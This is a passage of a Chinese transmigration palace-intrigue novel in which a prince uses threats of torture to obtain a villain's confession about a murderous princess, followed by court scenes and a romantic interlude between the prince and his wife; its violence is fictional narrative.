“没错。”姜斯羽走到姜黎婳床边两步远的地方停下了脚步,他没有像小时候那样坐到床边去拉着姜黎婳的手安抚,而是站在那里看着姜黎婳,轻声道:“你们在这么短的时间内揭露佳宁公主的真面目,让更多的人免受其害,已经很厉害了。”
......
楚御礼沐浴回来,姜家父子两人已经离开了,姜黎婳此时正坐在餐桌旁边等着他回来用膳。
见姜黎婳一个人坐在餐桌旁,楚御礼走过去坐下,“岳父他们走了?”
姜黎婳颔首,她
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侧眸看着楚御礼,眼眶微红,声音也有些沙哑,“爹爹和哥哥说我已经很厉害了。”
楚御礼瞧着她这般模样,心就是被什么动心箍着一样,又涨又痛,他伸手去为她拭泪,“这一次的婳儿已经很厉害了,你提前了这么多年揪出佳宁公主,你拯救了很多家庭。”
姜黎婳抿嘴,“我真的没有错吗?”
“婳儿,你记住,错的不是你,错的是那些伤害别人的人。”楚御礼叹气把姜黎婳揽入怀中,他的下颚抵在姜黎婳的头顶,语气柔和,“你不能因为旁人害**佩玉嬷嬷和张嬷嬷就把错归咎在你的身上,与旁人比起来,你已经足够厉害和足够勇敢了。”
楚御礼说到这里顺便说了先前在宫中楚蕙兰对自己说的那些事情。
姜黎婳心头一震,她抬头想问楚御礼怎么回事,却忘了自己被她抱在怀中,这一抬头,眼睫毛扫过他的脖子,泪珠顺着他的衣襟滑落进了他的胸膛,微痒之后带着凉意的感觉从喉结落入胸膛,让楚御礼止不住的滑动了一下喉咙...
他整个人也有了反应。
“段贺年?”姜黎婳丝毫没有察觉对方的变化,直接推开楚御礼。
她记得自己看的这本小说是披着言情外衣的探案权谋小说,原主这个单元就是第一个单元白骨。
作者把原主凄惨的经历写得那么详细,只是为了凸显出萧景宴的狠毒,而对于其他人的描写相对就少了很多,而自己因为原主的经历太过生气,车祸之后直接穿书了,更不知道后面的剧情如何,段贺年这个人物更是听都没有听过...
“镇南大将军。”楚御礼捏着姜黎婳的手指把玩,“他是佳宁公主的裙下臣,这么些年佳宁公主之所以敢这么肆无忌惮,一是因为她以为手中有皇叔留下来的暗卫和亲信助她,另一个原因就是段贺年甘愿为她所用。”
“那皇叔...”姜黎婳心头现在还是有些震撼的,她是真没想到皇家竟然真的会有真正的兄弟情,那个在书中甚至没有出现过,自己穿越过来后一直都活在别人口中的逆臣靖王,竟然是那般不顾生死忍辱负重的大忠臣。
第225章 审问萧景宴
夜里姜黎婳又是很晚才入眠,楚御礼起身后让知夏她们不要吵到她,自己则换了衣裳打算入宫,谁知道他刚走出王府就和福清遇到了。
福清看到楚御礼从王府走出来,连忙上前,“殿下,陛下已经派人去迎接常胜将军等人了,让奴才请您入宫呢。”
楚御礼有些不解地看了福清一眼,“本王本就打算入宫,父皇为何还要让公公跑一趟?”
“赵总督和常胜等即位将军已然入宫,但是此事事关靖王殿下,陛下还需要拿出更多的证据来说服众位大臣,所以需要您亲自去刑部大牢审问萧景宴,让他写下罪状。”
“萧景宴。”楚御礼的手握了握,他之所以留下萧景宴,其实并不是想从萧景宴口中得到更多的消息,只是想让婳儿能够把以前所受之苦,全都还到萧景宴身上去。
“殿下,您瞧您是现在去过去,还是...”
昨天那些信件和那些账目证据,虽然都能作为证据的一部分,但那些都只是靖王和他属下的一面之词,且如今世族已死,不能排出大臣怀疑证据造假的情况,他们对佳宁公主的指证也除了那些账本外,并未取得她自诉的罪状,所以就还需要从萧景宴那里下手。
“本王直接去刑部,告诉父皇,一个时辰后,本王会拿着他的罪状入宫的。”
听他这么说,原本还有些忐忑的福清立刻笑了,他恭敬地朝楚御礼躬身行礼,“奴才就知道殿下最是厉害,那奴才这就回去跟皇上复命了。”
楚御礼微微颔首,转身看了青砚一眼,低声道:“你在府上等着,王妃若是醒了,把王妃带到刑部来。”
青砚微微一怔,不过并未多问,立刻点头应了下来。
楚御礼的王府隔着皇城并不远,到刑部更近一些,刑部经过上一次的截杀之后重新修缮过,修缮后的天牢大门是重新加固的,铁锁链也比之前更粗了,就连刑具都全部升级了。
双手双脚都被栓了铁链的萧景宴坐在没想到才短短两个多月就重新回到了这个天牢中,他一脸颓靡地躺在草席上面,面无表情的望着天空。
自己真是被那个自以为是的女人害得好惨啊!
萧家的人都死绝就不说了,如今他也要命丧于此了。
听到牢门被打开的声音,萧景宴眼里闪过一丝波动,他微微偏头朝牢门口看去,只看到几个人影从门口走了进来,他翻身坐起来,正要开口,就瞧见有人拿出火匣子吹燃点亮了牢中烛灯,等看清楚来人的脸,他冷笑了一声,又躺下去。
楚御礼站在牢房外面的走廊中,正面看着对自己的到来不屑一顾的萧景宴,他没有恼怒,也没有气愤,若不是萧景宴是婳儿上一世经历中曾伤害过她的人,他不会多看这个乱臣贼子一眼。
看了躺在阴暗角落中躺着的萧景宴好一会儿,楚御礼才缓缓开口,“堂堂国公府世子明明就当一介纨绔也可以一辈子潇洒度日,你为何如此想不通,偏要做这乱臣贼子?”
“与你何干?”萧景宴翻身坐起来,想到自己前几日做的那个梦,他掀开自己凌乱的头发看着如今意气风发的楚御礼,“你不过就仗着自己娶了一个好婆娘而已!不然你的尸骨怕是已经发白了!”
梦中楚御礼因为娶了苏清欢,婚后不到一年就病死了,而自己则在十年后成了定国公!
可惜了,那一切不过只是梦而已。
“的确,本王是娶了一个好王妃。”楚御礼站在那里睨着阶下囚萧景宴,眼底带着浓浓的厌恶,“所以这就是命,你应该认。”
“凭什么我该认命!”萧景宴猛地站起来,“你不过是比我幸运罢了!明明早就该死的人,凭什么现在还好好地活着!凭什么?”
“一个甘愿成为怪物裙下臣的男人,你在这儿不甘什么?”楚御礼双手叉着腰,不耐地看着朝着自己这边扑过来的萧景宴,“祸国殃民的逆贼,终究不会有好下场的。”
“裙下臣...”因为牢门是关着的,萧景宴根本无法真正的靠近楚御礼,他双手抱着牢房的木柱,满脸狰狞地看着楚御礼,嘶声吼道:“若是可以,谁愿意成为那个女人的裙下臣!”
“这不是你自己的选择吗?”楚御礼冷哼了一声,“你甘愿为那个女人搜集无数少女的血液,甚至不惜让国公府后院成为那些白骨的藏匿点,你现在又在不甘什么?”
“我若不那样的话...”他若不那样的话,每次与那个女人...他就会像之前在公主府一样,被她用鞭子抽,即便他藏在国公府不出门,那个女人也会想办法让人把他掳走的!
“你很恨那个女人是吗?”楚御礼往前走了一步,语气带着一丝蛊惑,“恨她就把你自己知道的一切都写成罪状,让那个女人成为千古罪人,让她死后都不得超生,如何?”
萧景宴先是一愣,接着他笑了,他往后面退了一步,嘲讽地看着楚御礼,“你以为我蠢吗?我若是写下了那些罪状,我也逃不了!”
“你以为你现在逃得掉?”楚御礼眼睛一眯,眼底闪过一丝冷光,“不要敬酒不吃吃罚酒。”
“我怎么了?”萧景宴松开木柱,双手抬起来,一副无所谓的样子,“你们难道想屈打成招不成?”
“你倒是提醒本王了。”楚御礼往后退了一步,“既然你不愿意主动交代,本王也只能大刑伺候了。”
他说罢往刑房走,“听闻这刑部刑房的刑具做了不少改变,你运气倒是不错,成了第一个体验这些刑具的人。”
刑房的烛灯被人点亮,立刻有狱卒打开萧景宴的牢房门押着萧景宴进了刑房,看着那些在刑具,萧景宴的瞳孔骤缩,语气中也多了一丝慌乱,“你要做什么?”
“当然是审犯人了。”楚御礼脸色冰冷的扫了萧景宴一眼,“萧世子一会儿若是受不住了,就早点招认,本王的耐心可不多。”
楚御礼说罢直接往昭临搬来的太师椅上一坐,对着狱卒道:“把你们这儿用在身上最痛苦的刑具抬上来给萧世子试试。”
狱卒立刻谄媚地笑道:“王爷,咱们刑部新升级的老虎凳可谓厉害,如今这老虎凳不只是伤皮伤肉,那带了铁定的木板压上去啊,再硬的骨头都要留下几个印记!”
楚御礼微微挑眉,“是吗?那就拿来试试。”
狱卒立刻应是,搬来凳子立刻就把萧景宴绑在了上面,萧景宴看着全是铁定的木板,立刻急了,“你们要干什么?”
他慌张地看向楚御礼,“我说!我说!”
第226章 天生坏种后天变态
萧景宴写下罪状最后签了名按了手印,楚御礼拿起罪状认真的看了一会儿,确定没有漏下的了,他才把罪状收起来,“看来萧世子的确很受楚蕙兰倚重,你竟然知道她这么多事情。”
萧景宴闭上眼睛,“若是可以,谁愿意被她倚重,若不是我的命不好,我又何尝愿意当她那召之即来挥之即去的狗。”
“本王问你,镇南将军段贺年每年什么时候会亲自到京城与她相会?”楚御礼沉声道。
上次立储风波已经把楚蕙兰埋在朝廷中的线人全部拔出了,京城这两日也顺着常胜等人提供的线索抓了不少人,其实他不想与段贺年兵戎相向,若是可以,他想不费一兵一卒就拿下这个手握重兵的大将军。
楚国经历这么些年的明争暗斗,可再也经不起大规模的内乱了,此次针对段贺年,即便让赵忠出征南岳最后可能会落得两败俱伤的下场,到时候楚国元气大伤,最终说不定会落入他国之手。
他不能看着楚国走向那一步。
萧景宴嗤笑,“我已经把我知道的全都说了,我不知道她为何需要喝血来维持美貌,也不知道她和旁人有多少勾结,我只知道她让我做过的事情,其他的一概不知!”
“萧景宴。”楚御礼面无表情地看着还被绑在老虎凳上的萧景宴,沉声道:“你真的想尝试一下这老虎凳的滋味吗?为了一个乱臣贼子让自己受罪,值得吗?”
萧景宴脸色一僵,他缓缓抬头看着楚御礼,冷声道:“反正最后都是一死,怎么死都一样!”
“本王原本还打算给你一个痛快的,看来你并不想要。”楚御礼说罢脸一沉,“用刑。”
“我说。”萧景宴立刻怂了,他咽了咽口水,“每年三月她都会有一个月的时间不见我们,听说那个月她都会去桃花谷,你们口中那所谓的段贺年,应该就是三月入京与她在桃花谷相会。”
他说完抬头看着楚御礼,抿嘴道,“我把我知道的都说了,可以给我一个痛快了吗?”
楚御礼轻笑,“如今离三月还有快四个月的时间,你以为本王会信你?”
说到这里楚御礼眼神骤然变冷,拿起一旁的烙铁丢进已经烧得很旺盛的火盆里面,“看来你是不见棺材不落泪了。”
萧景宴看到刻了娼字的烙铁,他眼中闪过一丝慌乱,“我说的都是实话,你这是要做什么?”
“本王不信你说的话,所以我打算验证一下,若你能承受得住这烙铁的疼痛,那本王就相信你说的是真的。”楚御礼没有去看萧景宴的神情,他的目光只盯着被逐渐烧得通红的烙铁,嘴角勾起一抹冷漠的弧度,“你这些年做的那些勾当,应该配得上这个字,你这张脸上被印上这个字,下地狱了应该也会很显眼吧。”
被绑在老虎凳上的萧景宴开始挣扎,他面容更是变得狰狞起来,“我说的都是实话,你不信的话,可以到时候去验证!”
“本王不信,所以还是用屈打成招来验证一下你说的是不是真的好了。”楚御礼说罢伸手拿起已经被烧得通红的烙铁,逐渐贴近萧景宴的脸,那烙铁还未贴上萧景宴的脸,他已经感受到了那灼热的温度,他知道,这烙铁若是落在自己脸上,那他的脸一定就毁了。
楚御礼冷眼看着嘴硬的萧景宴,他眼底闪过一丝冷光,接着抬手直接把烙铁往萧景宴脸上贴过去...
就在烙铁要贴上他脸的那一刻,萧景宴嘶声吼道,“我说!”
楚御礼眉梢微挑,停下了手中的动作,不过他并未把烙铁拿开,他只是轻笑,“若你的回答还是让本王不满意的话,本王这烙铁就落烙在你的脸上。”
萧景宴的脸往旁边偏了偏,生怕烧红的烙铁烫到自己的脸,“腊月初一,楚蕙兰的生辰,每年那个人都会亲自过来给楚蕙兰庆祝生辰,他还会给楚蕙兰送上不少绝世珍宝,楚蕙兰除了红山脚下拿出宅子之外,在桃花谷也有一处宅子,那宅子里面多数都是那个人送的稀世珍宝。”
“看来萧世子知道的还真不少。”楚御礼轻笑着放下手中的烙铁。
萧景宴双手死死的握着,他知道的能不多吗?因为每次那个女人去桃花谷见那个老男人的时候,都会带上他!她与那个男人虚与委蛇的时候,他需要在旁边奏乐助兴,还要听那个男人的嘲弄!
而那个男人醉生梦死之后,他还得伺候那个女人...
想到过去的种种,萧景宴双目变得猩红起来,他所做的一切不过是为了活命!
“活命?”楚御礼似乎看穿了萧景宴眼底的想法,他嗤笑了一声,“真正的想要活命不是和他们成为一丘之貉,而是应该早早把这件事情揭发!你这叫助纣为虐不叫卧薪尝胆。”
“你懂什么?”萧景宴嘶声吼道,“你根本什么都不懂!”
“需要懂什么?”姜黎婳冰冷的声音在刑房门口响起,楚御礼和萧景宴同时转身和抬头看向她,身上披着黑色披风的姜黎婳接下头顶披风的帽子,冷着脸走进来,“不要为自己所做的恶事寻找借口。”
萧景宴瞧着曾经自己觊觎了很久的女人,他笑了,“你是来看我的吗?”
“我是来看你怎么死的。”姜黎婳冷眼看着狼狈的萧景宴,语气凌厉,“你其实和楚蕙兰就是一类人,都属于天生坏种,你忘了你杀死那些少女时变态地去舔她们身上血液的场景了吗?你做那些事情的时候,别人逼你了?”
那些曾被萧景宴下意识埋藏起来的记忆瞬间席卷了他的脑海,萧景宴开始挣扎起来,他双目猩红的看着姜黎婳,“你怎么知道的?你怎么可能知道?”
姜黎婳冷笑,她怎么知道的?当然是因为原书中写到的!
“你猜我怎么知道的?”姜黎婳想到书中描写萧景宴在杀了那些少女之前还要凌虐她们一番,让她们生不如死,再想到原主被她害得伤痕累累,姜黎婳心头的恨意简直如海浪在翻涌,“萧景宴,你本就是恶人,你该死你该被千刀万剐凌迟致死!”
“不,你们不能那么对我!我都是被逼的!我做那些都是被逼的!”萧景宴梗着脖子,面目扭曲地看着姜黎婳,“我也不想那样的,可是不那样做的话,我会难受死的!你们根本不懂!那些痛苦如果不施加在别人身上,我就会夜夜噩梦,梦到我十二岁走失被那个女人捡回去后所遭受的那些画面...”
萧景宴说到这里像是想到了什么,他痛苦地想要抬起双手去抱着自己的头,但是因为双手被绑在扶手上,根本动弹不得,他只能痛苦的使劲用自己的头去瞧面前的木板...
第227章 萧景宴的下场
木板的上面没有铁钉,萧景宴却依旧把自己砸了个头破血流,但是姜黎婳和楚御礼看到他血淋淋的样子,并没有动恻隐之心,他们都知道,现在同情萧景宴,就是对那些死去的少女们的不公平。
无论萧景宴究竟是为什么才变成如今这副模样的,都不是他虐杀她人的原因。
由于萧景宴不断地把头往木板上砸,导致他现在脸上全都带着血,场面看上去很是恐怖,楚御礼往旁边移了一步,他抬手遮住姜黎婳的眼睛,低声道:“太恶心了,别看了。”
姜黎婳轻轻地应了一声,轻声道:“别让他死了,让他就这么死了,岂不是太便宜他了,也让他尝尝血液流干的感觉。”
一直在用头砸木板的萧景宴听到姜黎婳这话,他猛地抬头看着姜黎婳,嘶声吼道:“你不能这么对我!我是你的夫君啊!”
“胡言乱语!本王看你的舌头是不想要了!”楚御礼脸色骤变,他那冰冷的眼神也变得肃杀,“你想死,本王不介意送你一程!”
姜黎婳看萧景宴的脸色也变了,吕月琴之前听到她说重生事情时候的态度她就觉得有些奇怪,现在萧景宴说的话也很奇怪。
难道他们也重生了?
“她在我的梦中本就是我的夫人!”萧景宴抬眸看着姜黎婳,眼神缱绻,“婳儿,我以前那样对你都是因为我心中不平,我发誓我以后会好好爱你的,你就原谅我好不好?”
姜黎婳心中反胃地往后退了一步,眼底也露出浓浓的厌恶之色,“恶心。”
原本因为听到萧景宴这话心头怒意丛生的楚御礼听姜黎婳这么说,眼底闪过一丝笑意,他搂着姜黎婳低声道:“恶心咱们就不听了,原本让青砚请你过来就是为了让你出一恶气的,既然你觉得恶心,咱们就不脏了自己的手。”
姜黎婳抬眸看了楚御礼一眼,她感觉自己的心涨涨的,好像是被什么东西填满了。
她牵了牵嘴角,点头,正要说话,萧景宴就嘶声吼道:“你们说我恶心?可是我想变成这样吗?”
“我十二岁不过是贪玩了一些,偷偷跑出府去看看花灯节,可是我却被那个女人抓去了!”萧景宴的声音撕心裂肺,双目更是赤红,他疯狂地挣扎,双手使劲往姜黎婳前面伸去,“那时候我才十二岁啊!那个女人就对我做出那种事情,她还逼着我喝血,她逼着我去咬那些女人的喉咙!不然她就用鞭子抽我!只有我照着她的吩咐去做了,我才不会被打,才不会被她逼着做那些恶心的事情!”
姜黎婳嘴角的弧度逐渐消失,她目光沉沉的看着萧景宴,这些她并不知道,小说里面没写。
她看的小说里面,萧景宴就是一个纯纯的坏人,他折磨原主,虐杀少女,后来因为原主发现了他的秘密,他就把原主用铁链拴在家中,后来家中来了刺客,原主被人杀死。
楚御礼一直在注意着姜黎婳的一举一动,见她脸色变了,他连忙伸手拉着姜黎婳的手,低声道:“婳儿,你心软了?”
姜黎婳摇头,她没有心软,只是她也没想到,原来萧景宴这个原书中的大反派,竟然还有这样的童年遭遇。
萧景宴见姜黎婳脸上露出松怔,他颓然地坐了回去,他抬手拭泪,“因为那件事情,我再也没有办法正常的当男人,只有在凌虐的过程中才能...”
萧景宴闭上眼睛,“我又何尝不恨那个女人,但是那个女人手段太过于毒辣,她的人又遍布京城,我害怕啊...”
“她真的那么厉害就不会这么轻易的被我们抓住了。”楚御礼面无表情的看着萧景宴,眼底没有一点情绪,“你就是胆小而已,你不敢去忤逆她。”
“你不敢忤逆她,却想要从其他地方找回尊严,这就是你虐杀那些柔弱少女的借口?”姜黎婳轻轻抽回被楚御礼握着的手,冷冷地看着萧景宴,“萧景宴你就是一个彻头彻尾的懦夫,也是一个胆小如鼠的变态,你看似聪明极会审时度势,但其实不过是因为你欺软怕硬罢了。”
萧景宴猛的瞪大眼睛,他抬起自己被铁链绑着的双手,嘶吼道:“你少在那里说教了,事情没有发生在你的身上,你当然...”
“是啊,我的确没有经历过,不配评价你的所作所为。”姜黎婳叹了口气,她侧首看向楚御礼,“罪状拿到了吧?”
楚御礼颔首,姜黎婳抿了抿嘴,“那你去给父皇复命吧,这个人渣就交给律例来处置。”
“你别走!我还没有说完!”萧景宴见姜黎婳要走,猛地从椅子上站起来,但因为自己是被绑在椅子上的,随着他站起来的动作,人直接带着老虎凳摔在了地上,那木板上的铁钉随着他的摔倒拳头插入他的双腿,他瞬间疼得呼出了声音,不过只是瞬息,他就忘却了腿上的痛,他伸手朝姜黎婳够去,脸上带着祈求,“婳儿!”
“我知道我们前世一定是夫妻,不然我不会做那样的梦!”萧景宴趴在地上完全不顾腿上的腿疼朝姜黎婳这边攀爬,“我从见你的第一眼开始就觉得我们两个...啊...”
楚御礼冰冷的垂眸看着被自己踩在脚下的手,眼神肃冷,语气幽暗,“萧景宴,你真该死啊。”
萧景宴却根本不管他,他继续看着姜黎婳,“婳儿,我是爱你的啊,不然梦中的我也不会在你发现了那么大的秘密之后只把你囚禁起来,而不是杀了你!我爱你,所以我舍不得杀你啊...”
“够了!”姜黎婳的心脏忽然像是被什么东西揪着一样,疼得她呼吸不过来,她闭上眼睛,那原主被虐杀的场景一幕幕在她的脑海中重现,就像是她自己亲身经历过一样。
怎么回事,她明明没有亲自经历过那些画面,为什么会看到那些画面?
她捂着胸口缓缓倒了下去。
楚御礼在她倒下去瞬间伸手接住了她,他拦腰抱住她,大步朝牢房外面走,一边走他冰冷的声音一边传来,“割了他的舌头,放干他的血。”
萧景宴听到楚御礼这话,朝着楚御礼疯狂嘶吼,“楚御礼,你...”
他话还没说完,昭临就带着人直接把他捞了起来,昭临直接拿起拔舌器撬开他的下巴,要拔他的舌头...
“你温...要暗...喜么?”萧景宴疯狂挣扎,“一闻...放...嗨...我...啊...”
昭临冰冷的看着被拔了舌头疯狂吐血的萧景宴,冷声对狱卒道:“把他的血放了,差不多的时候包扎伤口,然后给他喝生血汤药,过两天继续放!”
他说罢冷笑着看了一眼躺在地上的萧景宴,“好好感受一下那些少女被放干血液时候的绝望吧。”
他身为王爷身边的侍卫,不能对楚蕙兰那个公主动用什么刑法,却可以收拾这个阶下囚。
他可不想了解这个萧景宴曾经经历了什么,只想要让萧景宴尝尝犯罪之后的下场。
第228章 我为什么会有原主的记忆
楚御礼抱着姜黎婳走出刑部上了王府的马车,姜黎婳就醒了过来,见她醒了,楚御礼眼底的紧张这才消散了一些,他紧紧抱着姜黎婳,低声道:“都是我的错,我不应该让你过来的。”
他的声音带着懊悔,“我原本只是想让你出口恶气,若知道会让你想起那些伤心事导致你昏厥,那我说什么都不会让他靠近你半分的。”
姜黎婳也不知道为什么自己脑海中会忽然出现原主被杀死的画面,按道理说,她穿书是到原主幼时的,也没有经历过原主经历的那一切,原主被杀的画面也只是书中描写的,为什么刚刚萧景宴说出那些话的时候,原主被虐杀的那些画面会那么详细的出现在她的脑海中?
“婳儿?”见姜黎婳睁开眼睛却两眼无神的模样,楚御礼心头一慌,抱她的手更紧了几分,“你不要吓我?”
姜黎婳抬眸看着神色紧张的楚御礼,她伸手摸了摸他的脸,低声道:“楚御礼,我觉得有点奇怪。”
听到她说话,楚御礼眼眶都红了,他轻轻松开姜黎婳,垂眸看着她,见她满脸的疑惑,他哑着嗓子问,“什么奇怪?”
姜黎婳张了张嘴,却发现自己无从说起,她好不容易把自己穿书的真相隐瞒了下来,总不能现在因为自己心头的疑惑,又说出来吧?
“没事,可能是我最近太累了。”姜黎婳闭上眼睛,“你先去皇宫给父皇复命,我可以自己回王府。”
“不行,你这样子我不放心,我先送你回去。”
姜黎婳拗不过楚御礼,只能由着他把自己送回王府,回到王府,姜黎婳就以累了为由要休息,让处于去皇宫复命。
等楚御礼离开后,姜黎婳翻身坐了起来。
......
半个时辰后,皇宫大殿。
楚御礼走进大殿的时候朝廷众臣和皇帝还有赵忠和常胜、常勇、常江、常河四人都在大殿中等着。
皇帝见楚御礼从大殿外走进来,他从龙椅上站了起来,神色也比以往要激动了几分,“拿到了?”
楚御礼从袖中拿出萧景宴的罪状,走到大殿中央跪下,“儿臣不辱使命,已经拿到了萧景宴认罪的罪状。”
福清连忙走下来双手接过楚御礼手中的罪状,转身回去恭敬的交给皇帝,皇帝迫不及待的取过来打开,看到上面赘述的一条条罪行,他脸色不好,眼神却在闪烁着光芒,他迅速把罪状看完,然后重重的把罪状往桌案上一拍。
“逆贼楚蕙兰勾结世家意图谋逆,被靖王识破其意图后,更栽赃陷害靖王与世家勾结,害靖王满门被诛,简直十恶不赦!拟朕旨意,褫夺佳宁公主其封号,贬为庶人,凌迟处死,公主府上下所有人赐死!”
皇帝这话说完下面朝臣哗然。
听着下面吵吵嚷嚷的声音,皇帝双手逐渐握紧,他看了一眼因为自己还靖王清白而跪在地上谢恩的靖王旧部,好一会儿之后,皇帝抬手,“朕当年没有分清真相,只凭一些片面的证据就相信了靖王谋逆一事,更...亲手把一心为朕着想的弟弟送上黄泉,朕实在是难辞其咎!”
楚御礼心头一震,他猛地抬头看着皇帝。
不会吧...
众臣亦是不解的抬头看向皇帝,其中包括常勇常胜等人...
皇帝看着下面面色各异的众人,沉声道:“朕决定下罪己诏。”
“陛下三思啊!”
“请陛下三思啊!”
“陛下万万不可啊!”
随着皇帝的话说出来,下面的大臣纷纷跪了下去。
常胜等人更是震撼的看向皇帝,他们这些年跟在楚蕙兰身边,看着楚蕙兰无恶不作,但是为了取得楚蕙兰的信任,那些暗卫不得不帮楚蕙兰作恶,他们这些擅长带兵的还要装作忠诚的帮楚蕙兰练兵...
他们原本只想把手下的兵马交给皇帝的时候,能让皇帝还他们的主子一个清白,却从未想过让皇帝下罪己诏啊...
看着下面不断劝说自己的大臣,皇帝沉声道:“朕心意已决,各位不必劝说朕,这是朕欠靖王的。”
皇帝说到这里缓缓地在龙椅上坐下,他看着跪在地上的楚御礼,脸上露出了这几日来第一个浅浅的笑容,“御儿为何跪在到那里不说话。”
“父皇所做的决定,儿臣作为臣子,不能干预。”楚御礼抬头看着皇帝,虽然他猜到了父皇要做什么,但是听父皇自己说出来,他还是觉得有些震撼,毕竟,罪己诏啊,对于一个想要流芳千古的帝王来说,这可是承认自己错误的实证啊。
皇帝摇头一笑,“你也觉得朕不应该下罪己诏吗?”
楚御礼抬眸看向皇帝,眼底的情绪也变了变,这不是政策失误倒是民不聊生的罪己诏,也不是因为天灾而导致民变而下的罪己诏...
其实父皇这道罪己诏,不但不会让百姓觉得他这个帝王的决策有问题,相反还会觉得这个帝王有情有义...
楚御礼忽然想通了,这是身为帝王者的权术,父皇这封罪己诏可能是给自己下的,但是也是下给靖王的旧部和天下百姓看的,有这么一个有情有义的明君,楚国的子民该多崇敬这样善于正视自己错误的帝王啊...
“父皇心意已决,儿臣自然是支持父皇的。”楚御礼抬头看向皇帝,面上也带了浅淡的笑意,“只是如今逆贼楚蕙兰的同谋还未抓捕,为了不打草惊蛇,还请父皇先不要把罪己诏昭告天下,等我们把楚蕙兰的同谋抓捕归案,父皇再把罪己诏昭告天下不迟。”
皇帝闻言眉梢微动,他看向其他臣子,“各位爱卿觉得如何?”
“御王殿下思虑周全。”重臣异口同声道。
皇帝颔首,“那这件事情...”
皇帝目光扫了下面的人一圈,沉声道:“那这件事情就由靖王和常胜几位将军一同去办吧。”
“退朝。”皇帝站起来,看了楚御礼几人一眼,“御儿你和常胜几个将军还有赵总督跟朕来御书房。”
御书房中。
皇帝看着楚御礼,“你是不是问到了什么?”
“腊月初一。”楚御礼看了常胜几人一眼,轻声道:“桃花谷。”
常胜等人对视了一眼,蹙眉看向楚御礼,常勇沉声道:“我们曾经安插在她身边的暗卫的确给我们送信说过她每年腊月初一会了离开红山去往桃花谷,但是谷内的情形,他们暗卫也不知道。”
皇帝坐在龙椅上沉着脸没说话。
赵忠目光在皇帝脸上扫了一眼,然后沉声道:“现在距离腊月初一没几日了,该做打算了。”
“那就在从南岳到京城的必经之路上埋伏,只要他敢来,我们就让他有来无回!”常勇脸色阴沉,“这等乱臣贼子,杀了他都是便宜他了!”
第229章 某王爷撒娇求欢
时间一晃几日过去,很快来到了腊月初一前夕。
姜黎婳这几日总是夜半做梦,梦中也全都是以前她从来不会梦到的原主在书中经历的一切,而梦醒之后自己就会浑身乏力,很是疲惫。
晨光照射进屋子,姜黎婳揉着太阳穴睁开眼睛,她有些疲乏地偏头看了一眼躺在外侧的楚御礼,这才撑着身子起身,许是起身的动静大了些,刚坐起身,楚御礼就翻身把她搂着重新躺了回去。
姜黎婳被他忽来地动作吓了一跳,抬手在他胸口轻轻拍了一下,“王爷这是干什么?”
“你昨晚几次梦中惊醒,定是没有睡好,现在时辰还早,再睡会儿。”楚御礼说罢在他额头上轻轻一吻,“若是睡不着,为夫亦可为让娘子睡个好觉好好伺候娘子一番。”
楚御礼说到这里声音变得沙哑,“我们夫妇也好些日子没有亲密了,娘子要不要疼疼为夫?”
姜黎婳被他这话弄得满脸通红,她挣扎着推了楚御礼几下,有些羞臊地说道,“大清早的你在胡说什么?王爷今日不用入宫吗?”
“不去,明儿个就是腊月初一了,常胜等人已经前往京外埋伏,为夫也得带人前往桃花谷了。”
听到他这话,姜黎婳眉头皱了起来,推楚御礼的手也变成了拍打,“那你还有心思在这儿与我说这些没羞没臊的话,不起来准备一下?”
说到这里她的语气变得有些担忧,“这段贺年我以前从未接触过,但是执掌一方的大将军必然不是蠢笨之人,你此行一定要多加小心才是。”
楚御礼的手松开姜黎婳的腰,去理了理她额角的碎发,“我这一去可能就要几日,娘子确定不满足为夫这点小要求吗?”
他扯了扯自己的衣襟,漏出自己的胸膛,抬眸看着姜黎婳,倒是很有几分想要姜黎婳怜惜自己的模样,“娘子?为夫这些日子四处奔波,身子又结实了不少呢。”
姜黎婳瞧着眼前这一副勾栏做派的王爷,脸颊绯红,双目瞪大,“你疯了啊?”
这是一个王爷应该说出来的话吗?
一个王爷为了求欢竟然大清早的在床榻之上对自己的娘子说出这种话?简直倒反天罡了啊!
楚御礼瞧着对面脸色绯红的娘子,他嘴角牵起一抹浅浅的弧度,接着他一把抓住对方的手放在自己的衣襟处,“娘子不好好检查一番?”
姜黎婳几乎是下意识的想要收回自己的手,但是却感受到了一股很有弹性的力量,她的手微微一动,没有收回来...
楚御礼微微垂着的眼眸动了动,眼底的笑意从喉咙溢了出来,他倾身扑倒姜黎婳,声音沙哑,“娘子,清晨时光正好,为夫今日就要出门,难道出门前夫人连这点鼓励都不愿意给为夫吗?”
他在她嘴唇上轻轻一啄,接着把头埋在她颈间,低声道:“娘子,两三个月了。”
他温热的呼吸打在姜黎婳的颈间,让她整个人都微微颤抖了起来,她双手捧着楚御礼的脸让他抬起头来,此时情动的不止她一人,他的双眼亦是通红,双目对视的时候,两人都情不自禁的望对方靠近了一些。
姜黎婳仰着头,轻声道:“那你要答应我,平安回来。”
“有娘子在府中等着为夫,为夫说什么也得平安回来才是。”楚御礼笑着在她脸上落下一吻,接着抬手,幔帐落下...
姜黎婳再次醒来的时候楚御礼已经不在身边了,她揉了揉有些酸胀的腰,撑着身子坐起来,干净的里衣已经准备好放在了床尾,她起身穿好,这才唤知夏她们进来伺候。
知夏端着茶水走进来,瞧姜黎婳今日起身不似往日那样疲惫,她脸上带起了笑意,“王妃,王爷吩咐了不让我们进来吵您,奴婢这就让人准备热水给您沐浴?”
先前姜黎婳是直接累得昏睡了过去,楚御礼害怕给她清洗的时候吵醒了她,所以干脆让她就这样睡,自己给她准备了里衣,又吩咐知夏等人不准进来吵她,等她睡醒之后再洗漱,现在姜黎婳还真的感觉自己身上黏黏腻腻的,有些不舒服。
原本想问楚御礼是不是已经走了一会儿了,但知夏提起这茬儿,姜黎婳也不着急问,便颔首,“好。”
知夏把茶水放在桌上,笑着退出去。
两刻钟后,姜黎婳清洗完出来,知夏和铃铛两人已经准备好了膳食,姜黎婳瞧着清淡爽口的餐食,她抬眸看向两人,瞧两人都期待的看着自己,姜黎婳叹了口气走到桌边坐下。
她刚坐下,知夏就连忙上前给她布菜,“这是王妃你最喜欢的酸辣小黄瓜,您配着这青菜肉粥尝尝,味道肯定好。”
铃铛也连忙指着自己包的饺子,“还有这个是王妃您最喜欢的猪肉白菜饺子,我特意为您做了您最爱的油泼辣子的蘸碟,您也尝尝。”
“还有这个汤包,这是奴婢按照王妃您教的方法做的,您也尝尝,若是喜欢,下次奴婢还给您做。”知夏又把汤包往姜黎婳前面推了推。
铃铛见状又把一叠开胃的泡菜往姜黎婳面前端了,“若王妃觉得汤包和饺子吃腻了,就吃点这开胃泡菜,这里面也放了油泼辣子,吃着定然开胃。”
